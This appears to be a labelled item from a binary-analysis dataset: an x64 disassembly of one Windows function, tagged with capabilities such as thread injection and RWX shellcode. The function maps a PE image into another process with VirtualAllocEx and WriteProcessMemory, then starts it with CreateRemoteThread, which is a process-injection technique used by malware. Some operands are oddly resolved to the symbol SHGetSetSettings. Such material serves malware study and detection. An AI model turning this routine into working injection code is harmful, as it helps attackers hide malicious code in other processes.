Function at 0x1400139e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov byte [rsp + 0x20], r9b
push rsi
push rdi
push r14
push r15
sub rsp, 0x88
mov eax, 0x5a4d
mov r14, rdx
mov rdi, rcx
cmp word [rdx], ax
jne 0x140013c8d
movsxd rsi, dword [rdx + 0x3c]
mov eax, 0x8664
add rsi, rdx
cmp word [rsi + 4], ax
jne 0x140013c8d
mov r8d, dword [rsi + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140013c8d
mov qword [rsp + 0xb0], rbx
lea rax, [rsp + 0xc8]
mov qword [rsp + 0xb8], rbp
mov rdx, r15
mov qword [rsp + 0x80], r12
mov rcx, rdi
xor r12d, r12d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0xc8], r12d
mov r8d, dword [rsi + 0x50]
lea r9d, [r12 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [0x14004f0f0]
mov r9d, 0x1000
mov qword [rsp + 0x40], rax
mov r8, r14
mov rax, qword [0x14004f1d8]
mov rdx, r15
mov qword [rsp + 0x48], rax
mov rcx, rdi
mov rax, qword [0x14004f0a0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140013c7f
movzx ebx, word [rsi + 0x14]
mov ebp, r12d
add rbx, 0x2c
cmp word [rsi + 6], r12w
je 0x140013b3d
add rbx, rsi
mov eax, dword [rbx - 4]
test eax, eax
je 0x140013b2f
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r14
add rdx, r15
mov qword [rsp + 0x20], r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140013c7f
movzx eax, word [rsi + 6]
inc ebp
add rbx, 0x28
cmp ebp, eax
jne 0x140013b03
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rdi
lea r8d, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x140013c7f
mov r9d, SHGetSetSettings
mov qword [rsp + 0x20], r12
lea r8, [rsp + 0x40]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140013c5c
xor edx, edx
mov dword [rsp + 0x20], SHGetSetSettings
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x140013c5c
mov r9d, 0x1000
mov qword [rsp + 0x20], r12
lea r8, [0x140013760]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rcx, rdi
test eax, eax
jne 0x140013c3e
mov r9d, 0x8000
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rbp, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xb0]
mov r12, qword [rsp + 0x80]
add rsp, 0x88
pop r15
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 0x30], r12
mov r9, rsi
mov dword [rsp + 0x28], r12d
xor edx, edx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov al, 1
jmp 0x140013c18
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
jmp 0x140013c0d
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
jmp 0x140013c0d
xor al, al
add rsp, 0x88
pop r15
pop r14
pop rdi
pop rsi
ret